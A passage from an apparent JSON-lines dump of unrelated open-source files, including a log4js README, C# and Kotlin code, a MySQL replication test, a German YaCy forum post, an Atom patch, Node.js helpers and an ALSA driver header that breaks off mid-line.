/**\n * Get celsius GPU temperature which could make GPU runs slower\n * @return temperature\n */\n @XmlJavaTypeAdapter(PerGpuDeviceInformation.StrToFloatBeforeSpaceAdapter.class)\n @XmlElement(name = \"gpu_temp_slow_threshold\")\n public Float getSlowThresholdGpuTemp() {\n return slowThresholdGpuTemp;\n }\n\n public void setSlowThresholdGpuTemp(Float slowThresholdGpuTemp) {\n this.slowThresholdGpuTemp = slowThresholdGpuTemp;\n }\n}\n"} {"text": "# log4js-node [![Build Status](https://secure.travis-ci.org/nomiddlename/log4js-node.png?branch=master)](http://travis-ci.org/nomiddlename/log4js-node)\n\n[![NPM](https://nodei.co/npm/log4js.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/log4js/)\n \nThis is a conversion of the [log4js](https://github.com/stritti/log4js)\nframework to work with [node](http://nodejs.org). I've mainly stripped out the browser-specific code and tidied up some of the javascript. \n\nOut of the box it supports the following features:\n\n* coloured console logging to stdout or stderr\n* replacement of node's console.log functions (optional)\n* file appender, with log rolling based on file size\n* SMTP appender\n* GELF appender\n* hook.io appender\n* Loggly appender\n* Logstash UDP appender\n* logFaces appender\n* multiprocess appender (useful when you've got worker processes)\n* a logger for connect/express servers\n* configurable log message layout/patterns\n* different log levels for different log categories (make some parts of your app log as DEBUG, others only ERRORS, etc.)\n\nNOTE: from log4js 0.5 onwards you'll need to explicitly enable replacement of node's console.log functions. Do this either by calling `log4js.replaceConsole()` or configuring with an object or json file like this:\n\n```javascript\n{\n appenders: [\n { type: \"console\" }\n ],\n replaceConsole: true\n}\n```\n\n## installation\n\nnpm install log4js\n\n\n## usage\n\nMinimalist version:\n```javascript\nvar log4js = require('log4js');\nvar logger = log4js.getLogger();\nlogger.debug(\"Some debug messages\");\n```\nBy default, log4js outputs to stdout with the coloured layout (thanks to [masylum](http://github.com/masylum)), so for the above you would see:\n```bash\n[2010-01-17 11:43:37.987] [DEBUG] [default] - Some debug messages\n```\nSee example.js for a full example, but here's a snippet (also in fromreadme.js):\n```javascript\nvar log4js = require('log4js'); \n//console log is loaded by default, so you won't normally need to do this\n//log4js.loadAppender('console');\nlog4js.loadAppender('file');\n//log4js.addAppender(log4js.appenders.console());\nlog4js.addAppender(log4js.appenders.file('logs/cheese.log'), 'cheese');\n\nvar logger = log4js.getLogger('cheese');\nlogger.setLevel('ERROR');\n\nlogger.trace('Entering cheese testing');\nlogger.debug('Got cheese.');\nlogger.info('Cheese is Gouda.');\nlogger.warn('Cheese is quite smelly.');\nlogger.error('Cheese is too ripe!');\nlogger.fatal('Cheese was breeding ground for listeria.');\n```\nOutput:\n```bash\n[2010-01-17 11:43:37.987] [ERROR] cheese - Cheese is too ripe!\n[2010-01-17 11:43:37.990] [FATAL] cheese - Cheese was breeding ground for listeria.\n``` \nThe first 5 lines of the code above could also be written as:\n```javascript\nvar log4js = require('log4js');\nlog4js.configure({\n appenders: [\n { type: 'console' },\n { type: 'file', filename: 'logs/cheese.log', category: 'cheese' }\n ]\n});\n```\n\n## configuration\n\nYou can configure the appenders and log levels manually (as above), or provide a\nconfiguration file (`log4js.configure('path/to/file.json')`), or a configuration object. The \nconfiguration file location may also be specified via the environment variable \nLOG4JS_CONFIG (`export LOG4JS_CONFIG=path/to/file.json`). \nAn example file can be found in `test/log4js.json`. An example config file with log rolling is in `test/with-log-rolling.json`.\nYou can configure log4js to check for configuration file changes at regular intervals, and if changed, reload. This allows changes to logging levels to occur without restarting the application.\n\nTo turn it on and specify a period:\n\n```javascript\nlog4js.configure('file.json', { reloadSecs: 300 });\n```\nFor FileAppender you can also pass the path to the log directory as an option where all your log files would be stored.\n\n```javascript\nlog4js.configure('my_log4js_configuration.json', { cwd: '/absolute/path/to/log/dir' });\n```\nIf you have already defined an absolute path for one of the FileAppenders in the configuration file, you could add a \"absolute\": true to the particular FileAppender to override the cwd option passed. Here is an example configuration file:\n\n#### my_log4js_configuration.json ####\n```json\n{\n \"appenders\": [\n {\n \"type\": \"file\",\n \"filename\": \"relative/path/to/log_file.log\",\n \"maxLogSize\": 20480,\n \"backups\": 3,\n \"category\": \"relative-logger\"\n },\n {\n \"type\": \"file\",\n \"absolute\": true,\n \"filename\": \"/absolute/path/to/log_file.log\",\n \"maxLogSize\": 20480,\n \"backups\": 10,\n \"category\": \"absolute-logger\" \n }\n ]\n}\n``` \nDocumentation for most of the core appenders can be found on the [wiki](https://github.com/nomiddlename/log4js-node/wiki/Appenders), otherwise take a look at the tests and the examples.\n\n## Documentation\nSee the [wiki](https://github.com/nomiddlename/log4js-node/wiki). Improve the [wiki](https://github.com/nomiddlename/log4js-node/wiki), please.\n\nThere's also [an example application](https://github.com/nomiddlename/log4js-example).\n\n## Contributing\nContributions welcome, but take a look at the [rules](https://github.com/nomiddlename/log4js-node/wiki/Contributing) first.\n\n## License\n\nThe original log4js was distributed under the Apache 2.0 License, and so is this. I've tried to\nkeep the original copyright and author credits in place, except in sections that I have rewritten\nextensively.\n"} {"text": "<!doctype html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title>Example - example-ng-hide-complex-jquery</title>\n <link href=\"animations.css\" rel=\"stylesheet\" type=\"text/css\">\n \n\n <script src=\"../../components/jquery-3.2.1/jquery.js\"></script>\n <script src=\"../../../angular.js\"></script>\n <script src=\"../../../angular-animate.js\"></script>\n \n\n \n</head>\n<body ng-app=\"ngAnimate\">\n Hide: <input type=\"checkbox\" ng-model=\"checked\" aria-label=\"Toggle ngHide\"><br />\n<div class=\"check-element funky-show-hide\" ng-hide=\"checked\">\n I hide when your checkbox is checked.\n</div>\n</body>\n</html>"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Collections.ObjectModel;\nusing System.Diagnostics;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Windows.ApplicationModel.AppService;\nusing Windows.ApplicationModel.Core;\nusing Windows.Foundation.Collections;\nusing Windows.System.RemoteSystems;\nusing Windows.UI.Core;\n\nnamespace Adventure_Works\n{\n public class RomeHelper : IDisposable\n {\n private RemoteSystemWatcher _remoteSystemWatcher;\n\n private ObservableCollection<AdventureRemoteSystem> _availableRemoteSystems = new ObservableCollection<AdventureRemoteSystem>();\n private List<RemoteSystem> _remoteSystems = new List<RemoteSystem>();\n\n\n public ObservableCollection<AdventureRemoteSystem> AvailableRemoteSystems\n {\n get { return _availableRemoteSystems; }\n }\n\n public event EventHandler<AdventureRemoteSystem> RemoteSystemAdded;\n public event EventHandler<AdventureRemoteSystem> RemoteSystemRemoved;\n\n private RemoteSystem _currentSystem;\n\n public async Task Initialize()\n {\n if (_remoteSystemWatcher != null)\n return;\n\n RemoteSystemAccessStatus accessStatus = await RemoteSystem.RequestAccessAsync();\n if (accessStatus == RemoteSystemAccessStatus.Allowed)\n {\n _remoteSystemWatcher = RemoteSystem.CreateWatcher(BuildFilters());\n _remoteSystemWatcher.RemoteSystemAdded += RemoteSystemWatcher_RemoteSystemAdded;\n _remoteSystemWatcher.RemoteSystemRemoved += RemoteSystemWatcher_RemoteSystemRemoved;\n _remoteSystemWatcher.RemoteSystemUpdated += RemoteSystemWatcher_RemoteSystemUpdated;\n _remoteSystemWatcher.Start();\n }\n }\n\n private List<IRemoteSystemFilter> BuildFilters()\n {\n List<IRemoteSystemFilter> filters = new List<IRemoteSystemFilter>();\n\n filters.Add(new RemoteSystemDiscoveryTypeFilter(RemoteSystemDiscoveryType.Proximal));\n\n filters.Add(new RemoteSystemKindFilter(new string[] { RemoteSystemKinds.Desktop, RemoteSystemKinds.Xbox }));\n\n filters.Add(new RemoteSystemStatusTypeFilter(RemoteSystemStatusType.Any));\n\n return filters;\n }\n\n private async void RemoteSystemWatcher_RemoteSystemAdded(RemoteSystemWatcher sender, RemoteSystemAddedEventArgs args)\n {\n _remoteSystems.Add(args.RemoteSystem);\n var system = await AdventureRemoteSystem.CreateAdventureRemoteSystem(args.RemoteSystem).ConfigureAwait(false);\n if (system != null)\n {\n var t = Helpers.RunOnCoreDispatcherIfPossible(() =>\n {\n if (_availableRemoteSystems.Where(s => s.RemoteSystem.Id == system.RemoteSystem.Id).Count() == 0)\n {\n _availableRemoteSystems.Add(system);\n RemoteSystemAdded?.Invoke(this, system);\n }\n\n });\n }\n }\n\n private void RemoteSystemWatcher_RemoteSystemRemoved(RemoteSystemWatcher sender, RemoteSystemRemovedEventArgs args)\n {\n var remoteSystem = _remoteSystems.Where(s => s.Id == args.RemoteSystemId).FirstOrDefault();\n if (remoteSystem != null)\n {\n _remoteSystems.Remove(remoteSystem);\n }\n\n var system = _availableRemoteSystems.Where(s => s.RemoteSystem.Id == args.RemoteSystemId).FirstOrDefault();\n if (system != null)\n {\n var t = Helpers.RunOnCoreDispatcherIfPossible(() =>\n {\n _availableRemoteSystems.Remove(system);\n RemoteSystemRemoved?.Invoke(this, system);\n });\n }\n }\n\n private async void RemoteSystemWatcher_RemoteSystemUpdated(RemoteSystemWatcher sender, RemoteSystemUpdatedEventArgs args)\n {\n var remoteSystem = _remoteSystems.Where(s => s.Id == args.RemoteSystem.Id).FirstOrDefault();\n if (remoteSystem != null)\n return;\n\n var existingSystem = _availableRemoteSystems.Where(s => s.RemoteSystem.Id == args.RemoteSystem.Id).FirstOrDefault();\n if (existingSystem == null)\n {\n var system = await AdventureRemoteSystem.CreateAdventureRemoteSystem(args.RemoteSystem).ConfigureAwait(false);\n if (system != null)\n {\n var t = Helpers.RunOnCoreDispatcherIfPossible(() =>\n {\n if (_availableRemoteSystems.Where(s => s.RemoteSystem.Id == system.RemoteSystem.Id).Count() == 0)\n {\n _availableRemoteSystems.Add(system);\n RemoteSystemAdded?.Invoke(this, system);\n }\n });\n }\n }\n }\n\n public void Dispose()\n {\n if (_remoteSystemWatcher != null)\n {\n foreach (var system in _availableRemoteSystems)\n {\n system.Dispose();\n }\n\n _remoteSystemWatcher.RemoteSystemAdded -= RemoteSystemWatcher_RemoteSystemAdded;\n _remoteSystemWatcher.RemoteSystemRemoved -= RemoteSystemWatcher_RemoteSystemRemoved;\n _remoteSystemWatcher.RemoteSystemUpdated -= RemoteSystemWatcher_RemoteSystemUpdated;\n _remoteSystemWatcher.Stop();\n _remoteSystemWatcher = null;\n }\n }\n }\n}\n"} {"text": "\nThis folder contains a couple of benchmark utities and Eigen benchmarks.\n\n****************************\n* bench_multi_compilers.sh *\n****************************\n\nThis script allows to run a benchmark on a set of different compilers/compiler options.\nIt takes two arguments:\n - a file defining the list of the compilers with their options\n - the .cpp file of the benchmark\n\nExamples:\n\n$ ./bench_multi_compilers.sh basicbench.cxxlist basicbenchmark.cpp\n\n g++-4.1 -O3 -DNDEBUG -finline-limit=10000\n 3d-3x3 / 4d-4x4 / Xd-4x4 / Xd-20x20 /\n 0.271102 0.131416 0.422322 0.198633\n 0.201658 0.102436 0.397566 0.207282\n\n g++-4.2 -O3 -DNDEBUG -finline-limit=10000\n 3d-3x3 / 4d-4x4 / Xd-4x4 / Xd-20x20 /\n 0.107805 0.0890579 0.30265 0.161843\n 0.127157 0.0712581 0.278341 0.191029\n\n g++-4.3 -O3 -DNDEBUG -finline-limit=10000\n 3d-3x3 / 4d-4x4 / Xd-4x4 / Xd-20x20 /\n 0.134318 0.105291 0.3704 0.180966\n 0.137703 0.0732472 0.31225 0.202204\n\n icpc -fast -DNDEBUG -fno-exceptions -no-inline-max-size\n 3d-3x3 / 4d-4x4 / Xd-4x4 / Xd-20x20 /\n 0.226145 0.0941319 0.371873 0.159433\n 0.109302 0.0837538 0.328102 0.173891\n\n\n$ ./bench_multi_compilers.sh ompbench.cxxlist ompbenchmark.cpp\n\n g++-4.2 -O3 -DNDEBUG -finline-limit=10000 -fopenmp\n double, fixed-size 4x4: 0.00165105s 0.0778739s\n double, 32x32: 0.0654769s 0.075289s => x0.869674 (2)\n double, 128x128: 0.054148s 0.0419669s => x1.29025 (2)\n double, 512x512: 0.913799s 0.428533s => x2.13239 (2)\n double, 1024x1024: 14.5972s 9.3542s => x1.5605 (2)\n\n icpc -fast -DNDEBUG -fno-exceptions -no-inline-max-size -openmp\n double, fixed-size 4x4: 0.000589848s 0.019949s\n double, 32x32: 0.0682781s 0.0449722s => x1.51823 (2)\n double, 128x128: 0.0547509s 0.0435519s => x1.25714 (2)\n double, 512x512: 0.829436s 0.424438s => x1.9542 (2)\n double, 1024x1024: 14.5243s 10.7735s => x1.34815 (2)\n\n\n\n"} {"text": "<header>Kopiowanie plików klastra</header>\r\n\r\nTen moduł pozwala na zaplanowany transfer plików z głównego serwera\r\nna inne serwery w klastrze Webmina. Może to być przydatne do rozesłania\r\ntakich plików jak np. <tt>/etc/hosts</tt>, <tt>httpd.conf</tt> i innych, dla\r\nktórych nie s&#177; dostępne protokoły sieciowe takie jak NIS lub LDAP. <p>\r\n\r\nNa głównej stronie modułu znajduje się lista wszystkich zaplanowanych kopii\r\noraz link umożliwiaj&#177;cy stworzenie nowych. Dla każdej kopii możesz okreliść\r\nplik Źródłowy, katalog docelowy i czas uruchomienia. Serwery docelowe muszą\r\nbyć najpierw dodane do modułu <b>Serwery Webmina</b> z loginem i hasłem <p>\r\n\r\n<hr>\r\n"} {"text": "#\n# 1. Set up a replication connection from server 1 to server 2\ninclude/master-slave.inc\nWarnings:\nNote\t####\tSending passwords in plain text without SSL/TLS is extremely insecure.\nNote\t####\tStoring MySQL user name or password information in the master info repository is not secure and is therefore not recommended. Please consider using the USER and PASSWORD connection options for START SLAVE; see the 'START SLAVE Syntax' in the MySQL Manual for more information.\n[connection master]\n#\n# 2. Create a table for testing\n[connection server_1]\nCREATE TABLE test.t1 (c1 INT NOT NULL PRIMARY KEY) ENGINE=InnoDB;\ninclude/sync_slave_sql_with_master.inc\n#\n# 3. Install clone on server 2\n# Configure server 3 to invoke clone\n[connection server_2]\nINSTALL PLUGIN clone SONAME 'CLONE_PLUGIN';\n[connection server_3]\ninclude/spawn_monitoring_process.inc\nINSTALL PLUGIN clone SONAME 'CLONE_PLUGIN';\nSET GLOBAL clone_valid_donor_list = 'localhost:SERVER2_PORT';\nCLONE INSTANCE FROM root@localhost:SERVER2_PORT IDENTIFIED BY '';\ninclude/rpl_reconnect.inc\n#\n# 4. Execute a transaction on server 1, check 3 received it\n[connection server_1]\nINSERT INTO t1 VALUES (1);\ninclude/sync_slave_sql_with_master.inc\n[connection server_3]\ninclude/assert.inc [All info from server 1 is present]\n#\n# 5. Cleanup\n[connection server_1]\nDROP TABLE test.t1;\ninclude/rpl_sync.inc\n[connection server_2]\nUNINSTALL PLUGIN clone;\n[connection server_3]\nSTOP SLAVE;\nRESET SLAVE ALL;\nUNINSTALL PLUGIN clone;\ninclude/rpl_clear_priv_checks_user_configuration.inc\ninclude/clean_monitoring_process.inc\nSET SESSION sql_log_bin=0;\ncall mtr.add_suppression(\"Clone removing all user data for provisioning: Started\");\ncall mtr.add_suppression(\"Clone removing all user data for provisioning: Finished\");\ncall mtr.add_suppression(\"Recovery from master pos [0-9]+ and file [a-zA-Z-]+\\.[0-9]+ for channel ''*\");\ncall mtr.add_suppression(\"Relay log information for channel '' was found after a clone operation. Relay log recovery\");\nSET SESSION sql_log_bin=1;\ninclude/rpl_end.inc\n"} {"text": "# coding=utf-8\n# Copyright 2018 The DisentanglementLib Authors. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nevaluation.evaluation_fn = @irs\ndataset.name=\"auto\"\nevaluation.random_seed = 0\nirs.num_train=10000\nirs.batch_size=16\ndiscretizer.num_bins=20\ndiscretizer.discretizer_fn=@histogram_discretizer\n"} {"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\npackage mozilla.components.browser.engine.gecko.webpush\n\nimport androidx.test.ext.junit.runners.AndroidJUnit4\nimport mozilla.components.support.test.any\nimport mozilla.components.support.test.eq\nimport mozilla.components.support.test.mock\nimport org.junit.Before\nimport org.junit.Test\nimport org.junit.runner.RunWith\nimport org.mockito.Mockito.`when`\nimport org.mockito.Mockito.isNull\nimport org.mockito.Mockito.verify\nimport org.mozilla.geckoview.GeckoRuntime\nimport org.mozilla.geckoview.WebPushController\n\n@RunWith(AndroidJUnit4::class)\nclass GeckoWebPushHandlerTest {\n\n lateinit var runtime: GeckoRuntime\n lateinit var controller: WebPushController\n\n @Before\n fun setup() {\n controller = mock()\n runtime = mock()\n `when`(runtime.webPushController).thenReturn(controller)\n }\n\n @Test\n fun `runtime controller is invoked`() {\n val handler = GeckoWebPushHandler(runtime)\n\n handler.onPushMessage(\"\", null)\n verify(controller).onPushEvent(any(), isNull())\n\n handler.onSubscriptionChanged(\"test\")\n verify(controller).onSubscriptionChanged(eq(\"test\"))\n }\n}\n"} {"text": "---\ntitle: \"bzr-builder\"\nlayout: formula\n---\n{{ content }}\n"} {"text": "using System;\r\nusing System.IO;\r\n\r\nnamespace SharpVectors.Net\r\n{\r\n\tpublic sealed class NoCacheManager : ICacheManager\r\n\t{\r\n\t\tpublic NoCacheManager()\r\n\t\t{\r\n\t\t}\r\n\r\n\t\tpublic CacheInfo GetCacheInfo(Uri uri)\r\n\t\t{\r\n\t\t\treturn null;\r\n\t\t}\r\n\r\n\t\tpublic void SetCacheInfo(Uri uri, CacheInfo cacheInfo, Stream stream)\r\n\t\t{\r\n\t\t}\r\n\t}\r\n}\r\n"} {"text": "Mitmachen • Re: YaCy und Add-ons\n================================\n\nDate: 2014-11-01 16:07:46\n\nHallo,\\\n\\\n\n> <div>\n>\n> fherb hat geschrieben:\\\n> Aber ich habe nirgendwo gelesen, dass jemand gesagt hätte \\\"Ok\n> Orbitter, um die Entwicklungsarbeit der Beteiligten zu verringern,\n> übernehme ich gern und sofort die Pflege und Weiterentwicklung des\n> Proxy.\\\"\\\n>\n> </div>\n\nWas denkt ihr warum das so ist? Ich persönlich bin ein geübter\nC-Programmierer mit viel Erfahrung in TCP und HTTP und anderen\nProtokollen auf dieser Ebene, einen externen Proxy der wie von Orbiter\ngewünscht einfach alles was durchläuft per Push-API an einen (fest\nkonfigurierten) YaCy-Peer weiterreicht würde ich in recht kurzer Zeit\nauf die Beine bekommen. Warum ich das aber nicht vorhabe ist relativ\neinfach erklärt: ich sehe darin keinen Nutzwert. Grund:\nVerschlüsselung.\\\nIch als normaler Internet-Nutzer bin der Meinung das es überhaupt gar\nkeinen Grund gibt auch nur ein einziges Bit unverschlüsselt durchs\nInternet zu schicken! Da diese Meinung in Kreisen der Leute die sich\nbemühen die Zukunft des Internets zu gestalten, z.B. die Leute die für\ndie Entwicklung von HTTP 2 verantwortlich sind und wollen das dort\nVerschlüsselung zum [nicht]{style=\"font-style: italic\"} abschaltbaren\n\\\"Must-Have\\\" wird, sehr verbreitet ist habe ich als normaler\nInternet-Nutzer in diesem Punkt ein positives Gefühl für die Zukunft.\\\nAls Programmierer kenne ich natürlich auch den Aufwand der sich hinter\nder Verschlüsselung verbirgt aber das sehen die normalen Anwender nicht\ndie einfach nur \\\"sicher\\\" Kommunizieren wollen, und die müssen das auch\nnicht sehen, es ist die Aufgabe der Programmierer (da zähle ich mich\ngerne mit dazu) dafür zu sorgen dass das einfach funktioniert.\\\n\\\nWas ich sagen will: es wird sich wohl kaum jemand finden der einen Proxy\nprogrammiert und wartet/weiterentwickelt der die übertragenen Daten in\nirgendeiner Form verarbeitet, einfach aus dem simplen Grund heraus dass\ndas auf absehbare Zeit immer weniger Nutzen bringt.\\\n\\\nWenn man an die unverschlüsselten Daten ran will dann geht das nur\nentweder direkt am Web-Server oder direkt im Browser, es gibt keine\nandere Möglichkeit, außer auf Verschlüsselung zu verzichten und das ist\nwohl bei den meisten Nutzern und \\\"Muttis\\\" und \\\"Omas\\\" nicht mehr\nkonsensfähig!\\\n(Meine Mutter, und die ist kurz vor der Rente, kennt sich mit Computern\nnicht viel aus obwohl sie den ganzen Tag an einem arbeitet und wie\nVerschlüsselung funktioniert weiß sie ebenfalls nicht, aber warum\nVerschlüsselung so wichtig ist das weiß meine Mutter ganz genau)\\\n\\\nLangfristig sehe ich für das Konzept \\\"Browser-AddOn\\\" keine\nAlternative, aber da ich mir der Probleme dieses Konzepts also die\nVielzahl der Browser bewusst bin ist mir klar das auch diese Lösung sehr\nsuboptimal ist.\\\nWie kann das nun gelöst werden? Hat hier jemand echte Vorschläge?\\\n\\\n\n> <div>\n>\n> fherb hat geschrieben:\\\n> Der wichtigste Punkt ist, dass der bisherige Weg über den Yacy-eigenen\n> Proxy abgelöst wird: Verringert den Wartungs- und Entwicklungsaufwand\n> von YaCy.\\\n>\n> </div>\n\nYaCy dürfte durch den Wegfall des Proxy so einiges an Ballast verlieren,\nes gibt z.B. einen Cache für den durchgeleiteten Web-Inhalt der\nebenfalls entfallen kann und noch einiges andere mehr (den Hinweis auf\nden HTTP-Fehler 403 kann ich mir hier sicher sparen).\\\n\\\nMit der Beschränkung des AddOns aufs wirklich Notwendige, so wie von\nfherb vorgeschlagen, bin ich einverstanden.\\\n\\\nIch bin auch der Meinung das sich dem Nutzer von YaCy irgendeine Art von\n[spürbaren]{style=\"font-style: italic\"} Mehrwert ergeben muss. Was\nkönnte das sein und wie sollte das realisiert werden?\\\n\\\nAn der Idee YaCy selber auf Smartphones und Tablets zu portieren sehe\nich zwar keine technischen Probleme, Java als Laufzeitumgebung ist für\nalle relevanten Plattformen verfügbar, aber bis diese Geräte wirklich\ngenügend CPU-Power und RAM und\n[Festplatten]{style=\"font-style: italic\"}kapazität haben dürften noch\nein paar Jahre vergehen (ich bin mir aber sicher das der technische\nFortschritt das in nicht allzu ferner Zukunft möglich machen wird).\\\n\\\nGrüße\\\nErik\n\nStatistik: Verfasst von\n[Erik\\_S](http://forum.yacy-websuche.de/memberlist.php?mode=viewprofile&u=9480)\n--- Sa Nov 01, 2014 4:07 pm\n\n------------------------------------------------------------------------\n"} {"text": "# Automatically generated by pb2py\n# fmt: off\nfrom .. import protobuf as p\n\n\nclass DebugLinkMemoryRead(p.MessageType):\n MESSAGE_WIRE_TYPE = 110\n\n def __init__(\n self,\n address: int = None,\n length: int = None,\n ) -> None:\n self.address = address\n self.length = length\n\n @classmethod\n def get_fields(cls):\n return {\n 1: ('address', p.UVarintType, 0),\n 2: ('length', p.UVarintType, 0),\n }\n"} {"text": "--- /Users/mbolin/src/atom/src/compile-cache.js\t2016-11-02 19:50:02.000000000 -0700\n+++ scripts/patches/src/compile-cache.js\t2016-12-13 20:16:37.000000000 -0800\n@@ -29,6 +29,8 @@\n packageTranspilationRegistry.removeTranspilerConfigForPath(packagePath)\n }\n \n+exports.COMPILERS = COMPILERS\n+\n var cacheStats = {}\n var cacheDirectory = null\n \n@@ -37,12 +39,13 @@\n if (process.env.USER === 'root' && process.env.SUDO_USER && process.env.SUDO_USER !== process.env.USER) {\n cacheDir = path.join(cacheDir, 'root')\n }\n- this.setCacheDirectory(cacheDir)\n+ setCacheDirectory(cacheDir)\n }\n \n-exports.setCacheDirectory = function (directory) {\n+function setCacheDirectory (directory) {\n cacheDirectory = directory\n }\n+exports.setCacheDirectory = setCacheDirectory\n \n exports.getCacheDirectory = function () {\n return cacheDirectory\n@@ -95,6 +98,7 @@\n }\n return sourceCode\n }\n+exports.compileFileAtPath = compileFileAtPath\n \n function readCachedJavascript (relativeCachePath) {\n var cachePath = path.join(cacheDirectory, relativeCachePath)\n@@ -206,6 +210,11 @@\n }\n \n Object.keys(COMPILERS).forEach(function (extension) {\n+ // This will happen when run in a browser.\n+ if (require.extensions == null) {\n+ return;\n+ }\n+\n var compiler = COMPILERS[extension]\n \n Object.defineProperty(require.extensions, extension, {\n"} {"text": "global.os = require('os');\nglobal.fs = require('fs');\nglobal.net = require('net');\nglobal.http = require('http');\nglobal.util = require('util');\nglobal.App = require('./app_ctrl');\n\nglobal.mode = 'DEBUG';\n//global.mode = 'DEBUG';\n\nglobal.debug = function(str){\n if(mode == 'DEBUG')\n console.log(str);\n}\n\nglobal.output = function(str){\n console.log(str);\n}\n\nglobal.inspect = function(obj){\n if(mode == 'DEBUG')\n debug(util.inspect(obj));\n}\n\nglobal.main = function(fn){\n fn();\n}\n\nglobal.isEmpty = function(obj){ \n for(var i in obj){ \n return false; \n } \n return true;\n}\n\n//shallow extend\nglobal.extend = function(des, src){\n for(var key in src){\n if(src.hasOwnProperty(key))\n des[key] = src[key];\n }\n}\n\n//shallow clone\nglobal.clone = function(obj){\n var ret = {};\n for(var key in obj){\n if(obj.hasOwnProperty(key))\n ret[key] = obj[key];\n }\n return ret;\n}\n\n// the member function to be used as callback\n// and set 'this' as the context\nglobal.memcb = function(context, mem){\n return function(){\n context[mem].apply(context, arguments);\n }\n}\n\n/*this function will throw an exception ,\n**so it will end the request ,I use this way to \nsubstitute the combination of :\n** #1 send_error\n** #2 return\n*/\nglobal.replyError = function(req, res, code ,info){\n var map = {\n 404 : 'Not Found',\n 400 : 'Bad Request',\n 500 : 'Internal Server Error'\n }\n var err_str = map[code] || 'error occurred';\n var body = info || err_str; \n res.writeHead(code , {'Content-Type' : 'text/plain'});\n res.end(body.toString());\n}\n\n//we throw this type of exception to\n//stop the process\nglobal.SExcp = function(err){\n this.err = err; \n}\n\n//empty exception,just for jump out of process\n//maybe throwed by controllers\nglobal.NullExcp = function(){\n this.type = 'null';\n}\n\n//default we send http 500 error\nprocess.on('uncaughtException', function(obj) {\n if(obj instanceof NullExcp){\n //log.error(obj.info);\n }else if(obj instanceof SExcp){\n log.error(obj.err);\n process.exit(-1);\n }else{\n log.error(obj.toString());\n }\n delete obj;\n});\n\n//test the file's accessibility\nglobal.access = function(filepath){\n var ok = true;\n try{\n fs.readFileSync(filepath);\n }catch(e){\n ok =false;\n }\n return ok;\n}\n\n//would be reset when require log.js\nglobal.log = { \n error : function(str){\n console.log('[Error]\\t' + str + '\\t'+ new Date());\n },\n warning : function(str){ \n console.log('[Warning]\\t' + str + '\\t' + new Date());\n },\n info : function(str){\n console.log('[Info]\\t' + str + '\\t' + new Date());\n }\n};\n\n"} {"text": "\nclass WorkFlowStateManager :\n \"\"\"\n 2. Tables\n NN_WF_STATE_INFO\n NN_WF_NODE_INFO\n NN_WF_NODE_RELATION\n \"\"\"\n def duplicate_state_info(self, nn_id, wf_ver):\n\n return None\n\n def get_state_draw_info(self):\n\n return None\n\n def update_state_draw_info(self):\n\n return None\n\n def get_node_menu_info(self):\n\n return None\n\n def get_node_detail_info(self):\n\n return None\n\n def get_node(self):\n\n return None\n\n def delete_node(self):\n\n return None\n\n def update_node_status(self):\n\n return None\n\n def _update_node(self):\n\n return None\n\n def _insert_node(self):\n\n return None\n\n def _serialize_node_data(self):\n\n return None\n\n def _parse_json_to_node(self):\n\n return None\n\n\n\n\n\n\n\n\n\n"} {"text": "#if !defined(foo)\n#define goo\nint n;\n#endif\n"} {"text": "[program:nmcauxmaker]\ndirectory=/work/btcpool/build/run_nmcauxmaker\ncommand=/work/btcpool/build/run_nmcauxmaker/nmcauxmaker -c /work/btcpool/build/run_nmcauxmaker/nmcauxmaker.cfg -l /work/btcpool/build/run_nmcauxmaker/log_nmcauxmaker\nautostart=true\nautorestart=true\nstartsecs=6\nstartretries=20\n\nredirect_stderr=true\nstdout_logfile_backups=5\nstdout_logfile=/work/btcpool/build/run_nmcauxmaker/log_nmcauxmaker/nmcauxmaker_stdout.log\n"} {"text": "#ifndef __SOUND_VT1724_H\n#define __SOUND_VT1724_H\n\n/*\n * ALSA driver for ICEnsemble VT1724 (Envy24)\n *\n *\tCopyright (c) 2000 Jaroslav Kysela <perex@perex.cz>\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\n */ \n\n#include <sound/control.h>\n#include <sound/ac97_codec.h>\n#include <sound/rawmidi.h>\n#include <sound/i2c.h>\n#include <sound/pcm.h>\n\n#include \"ice1712.h\"\n\nenum {\n\tICE_EEP2_SYSCONF = 0,\t/* 06 */\n\tICE_EEP2_ACLINK,\t/* 07 */\n\tICE_EEP2_I2S,\t\t/* 08 */\n\tICE_EEP2_SPDIF,\t\t/* 09 */\n\tICE_EEP2_GPIO_DIR,\t/* 0a */\n\tICE_EEP2_GPIO_DIR1,\t/* 0b */\n\tICE_EEP2_GPIO_DIR2,\t/* 0c */\n\tICE_EEP2_GPIO_MASK,\t/* 0d */\n\tICE_EEP2_GPIO_MASK1,\t/* 0e */\n\tICE_EEP2_GPIO_MASK2,\t/* 0f */\n\tICE_EEP2_GPIO_STATE,\t/* 10 */\n\tICE_EEP2_GPIO_STATE1,\t/* 11 */\n\tICE_EEP2_GPIO_STATE2\t/* 12 */\n};\n\t\n/*\n * Direct registers\n */\n\n#define ICEREG1724(ice, x) ((ice)->port + VT1724_REG_##x)\n\n#define VT1724_REG_CONTROL\t\t0x00\t/* byte */\n#define VT1724_RESET\t\t\t0x80\t/* reset whole chip */\n#define VT1724_REG_IRQMASK\t\t0x01\t/* byte */\n#define 